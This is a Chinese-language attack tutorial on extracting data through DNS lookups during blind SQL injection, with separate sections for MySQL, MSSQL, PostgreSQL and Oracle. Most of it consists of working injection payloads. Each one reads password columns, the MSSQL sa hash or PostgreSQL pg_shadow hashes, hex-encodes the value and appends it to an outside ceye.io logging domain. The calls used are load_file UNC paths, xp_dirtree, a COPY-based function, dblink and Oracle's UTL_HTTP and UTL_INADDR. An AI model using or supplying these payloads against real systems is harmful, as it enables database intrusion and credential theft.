Dnslog在SQL注入中的實戰(zhàn)
本文主要講述Dnslog這種攻擊手法在SQL注入中的實戰(zhàn)運用,雖然網(wǎng)上對于Dnslog在SQL注入方面運用的文章也不少。但是很多文章都只是片面的提到了這個攻擊方式,或者只是用某個簡單的payload做了簡單的驗證。然而在實際的運用中,因為環(huán)境的差異,利用也不同。本文詳細(xì)的記錄了在多種常見數(shù)據(jù)庫實際運用過程的一些細(xì)節(jié),包括POC的編寫和原理,和一些網(wǎng)上沒有公開的利用POC。
一、關(guān)于DNSlog在Web攻擊的利用
DNSlog在Web漏洞利用中已經(jīng)是老生常談的問題,簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標(biāo)可以發(fā)起DNS請求,這個時候就可以通過這種方式把想獲得的數(shù)據(jù)外帶出來。
二、常用在哪些情況下
- SQL注入中的盲注
- 無回顯的命令執(zhí)行
- 無回顯的SSRF
三、Dnslog攻擊的基本原理
如圖所示,作為攻擊者,提交注入語句,讓數(shù)據(jù)庫把需要查詢的值和域名拼接起來,然后發(fā)生DNS查詢,我們只要能獲得DNS的日志,就得到了想要的值。所以我們需要有一個自己的域名,然后在域名商處配置一條NS記錄,然后我們在NS服務(wù)器上面獲取DNS日志即可。
四、Dnslog在常見數(shù)據(jù)庫中SQL注入的實戰(zhàn)
這里主要列舉了4種數(shù)據(jù)庫,MySQL、MSSQL、PostgreSQL、Oracle。
本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環(huán)境有一個test_user表,三個字段id、user、pass。如下
最后想要達(dá)到的目的是通過DNS外帶的方式查詢到pass字段的內(nèi)容。
此處就不再自己搭建一個DNS服務(wù)器了,直接用ceye.io這個平臺吧,這個平臺就集成了Dnslog的功能。
1. MySQL
(1) load_file
MySQL應(yīng)該是在實戰(zhàn)中利用Dnslog最多的,所以先來說說它吧。
在MySQL中有個一個load_file函數(shù)可以用來讀取本地的文件。
- http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)
- FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多事數(shù)據(jù)庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做dns查詢的,因為域名是有一定的規(guī)范,有些特殊符號是不能帶入的。
注意:load_file函數(shù)在Linux下是無法用來做dnslog攻擊的,因為在這里就涉及到Windows的一個小Tips——UNC路徑。
(2) UNC路徑
以下是百度的UNC路徑的解釋
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網(wǎng)絡(luò)驅(qū)動器. UNC命名慣例最多被應(yīng)用于在局域網(wǎng)中訪問文件服務(wù)器或者打印機(jī)。我們?nèi)粘3S玫木W(wǎng)絡(luò)共享文件就是這個方式。 |
其實我們平常在Widnows中用共享文件的時候就會用到這種網(wǎng)絡(luò)地址的形式
- \\sss.xxx\test\
這也就解釋了為什么CONCAT()函數(shù)拼接了4個\了,因為轉(zhuǎn)義的原因,4個就變\成了2個\,目的就是利用UNC路徑。
- tips:
因為Linux沒有UNC路徑這個東西,所以當(dāng)MySQL處于Linux系統(tǒng)中的時候,是不能使用這種方式外帶數(shù)據(jù)的
2. msSQL
(1) 先看看網(wǎng)上流傳最多的POC:
- DECLARE @host varchar(1024);
- SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';
- EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
這個POC在數(shù)據(jù)庫控制臺執(zhí)行的確是可以得到數(shù)據(jù)庫中sa用戶Hex編碼之后的Hash的。但是實際要獲得我們的test_user的表中的數(shù)據(jù)的時候,對POC需要一定的加工。
首先在sqlserver中字段名是不能和自定義函數(shù)名字沖突的,如果沖突需要用[]將字段包裹起來,如下圖:
這里的user字段正好和系統(tǒng)的user()函數(shù)同名,所以字段需要[]包裹。
開始和域名拼接,發(fā)生如下圖的情況
然后發(fā)現(xiàn)拼接起來的字符串有空格,這是因為在sqlserver中當(dāng)需要字符串拼接的時候,如果字段的值的長度沒有達(dá)到表結(jié)構(gòu)字段的長度,就會用空格來填充
這里我的pass字段設(shè)置的長度是50,所但是值實際的長度是8,之所以剩余的長度就用空格填充了。這個時候就用想辦法去掉空格,查閱手冊可以發(fā)現(xiàn)rtrim函數(shù)是可以去除右邊空格的,如下圖
開始編碼,前面說過域名是不能帶有些特殊字符的,所以我們最好能將查詢出來的值編碼之后再和域名進(jìn)行拼接,但是在查閱了sqlserver的手冊之后,沒有發(fā)現(xiàn)可以直接對字符類型進(jìn)行編碼的函數(shù),只有將2進(jìn)制轉(zhuǎn)換成Hex的函數(shù),所以這里我需要先將字符類型強(qiáng)制轉(zhuǎn)換成varbinary二進(jìn)制類型,然后再將二進(jìn)制轉(zhuǎn)化成Hex編碼之后的字符類型。先轉(zhuǎn)換成二進(jìn)制
再把二進(jìn)制轉(zhuǎn)換成字符類型的Hex編碼
最后完整的POC就是出來了。
- http://127.0.0.1/mssql.php?id=1;
- DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))
- FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
- EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
結(jié)果如下:
那為什么網(wǎng)上給的那個POC就是能夠獲取到sa用戶的hash之后的hex碼的呢,原因如下:
因為那個hash字段本來就是二進(jìn)制類型,所以不需要在經(jīng)過類型轉(zhuǎn)換了。
tips:此處有個小問題,因為拼接用到了+號,+號在url中如果不url編碼到代碼層的時候就成空格了,所以我們需要在提交之前對+號url編碼下
(2) SQLServer中其他的一些可使用函數(shù)
- master..xp_fileexist
- master..xp_subdirs
這兩個用法和前面的用法基本一樣,不再贅述。
- OpenRowset()
- OpenDatasource()
這兩個都是加載遠(yuǎn)程數(shù)據(jù)庫的函數(shù)。
這個兩個函數(shù)都需要高權(quán)限,而且系統(tǒng)是默認(rèn)關(guān)閉的,需要通過sp_configure去配置高級選項開啟功能,開啟代碼如下:
- exec sp_configure 'show advanced options',1;
- reconfigure;
- exec sp_configure 'Ad Hoc Distributed Queries',1;
- reconfigure;
所以此處不推薦使用這兩個函數(shù),不僅權(quán)限要求高而且使用起來也太麻煩,前面三已經(jīng)夠用了。
3. postgreSQL
大多數(shù)的腳本語言對于PostgreSQL都是支持SQL語句多語句的執(zhí)行的所以此處就非常方便了,我們可以編寫一個自定義的函數(shù)和存儲過程就好了,和SQLServer類似。1)copy函數(shù)的定義
- COPY tablename [ ( column [, ...] ) ]
- FROM { 'filename' | STDIN } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ] CSV [ QUOTE [ AS ] 'quote' 'escape' ]
- [ FORCE NOT NULL column [, ...] ]
- COPY tablename [ ( column [, ...] ) ] TO { 'filename' | STDOUT } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ]
- CSV [ QUOTE [ AS ] 'quote' 'escape' ] [ FORCE QUOTEcolumn [, ...] ]
從定義看出這里是無法嵌套查詢,它這里需要直接填入文件名,所以過程就麻煩一點。
這是網(wǎng)上的POC,整體上沒有什么問題。
- DROP TABLE IF EXISTS table_output;
- CREATE TABLE table_output(content text);
- CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$DECLARE exec_cmd TEXT;
- DECLARE query_result TEXT;BEGINSELECT INTO query_result (SELECT passwdFROM pg_shadow WHERE usename='postgres');
- exec_cmd := E'COPY table_output(content)FROM E\'\\\\'||query_result||E'.postgreSQL.nk40ci.ceye.io\\foobar.txt\'';
- EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
只是需要對數(shù)據(jù)處理編一下碼,此處會用到encode函數(shù),如下
- encode(pass::bytea,’hex’)
最后完整的POC如下:
- http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
- CREATE TABLE table_output(content text);
- CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
- DECLARE query_result TEXT;
- BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
- exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
- EXECUTE exec_cmd;
- END;
- $$ LANGUAGE plpgSQL SECURITY DEFINER;
- SELECT temp_function();
結(jié)果:
tips:因為這里的copy需要的參數(shù)是文件路徑,所以這里其實也是利用了UNC路徑,因此這個方式也只能在windows下使用
(2) db_link擴(kuò)展
db_link是PostreSQL用來連接其他的數(shù)據(jù)庫的擴(kuò)展,用法也很簡單,而且可以嵌套子查詢,那就很方便了
- dblink('連接串', 'SQL語句')
- http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink;
- SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb',
- 'SELECT version()') RETURNS (result TEXT);
CREATE EXTENSION dblink; 就是打開這個擴(kuò)展,因為這個擴(kuò)展默認(rèn)是關(guān)閉的。
tips:
- 在Ubuntu測試的時候dblink擴(kuò)展不是默認(rèn)安裝的,需要自己安裝擴(kuò)展。
- Windows下是默認(rèn)雖然有擴(kuò)展的,但是默認(rèn)是不開啟的,需要打開擴(kuò)展。
4. Oracle
Oracle的利用方式就太多了,因為Oracle能夠發(fā)起網(wǎng)絡(luò)請求的模塊是很很多的。
這里就列舉幾個吧。
UTL_HTTP.REQUEST
- select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT
- select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE
- select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
- select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
tips:oracle是不允許select語句后面沒有表的,所以此處可以跟一個偽表dual
Oracle其他一些能夠發(fā)起網(wǎng)絡(luò)請求的模塊:
- UTL_HTTP
- UTL_TCP
- UTL_SMPTP
- UTL_URL
五、總結(jié)
- 有些函數(shù)的使用操作系統(tǒng)的限制。
- dns查詢有長度限制,所以必要的時候需要對查詢結(jié)果做字符串的切割。
- 避免一些特殊符號的產(chǎn)生,最好的選擇就是數(shù)據(jù)先編碼再帶出。
- 注意不同數(shù)據(jù)庫的語法是有差異的,特別是在數(shù)據(jù)庫拼接的時候。
- 有些操作是需要較高的權(quán)限。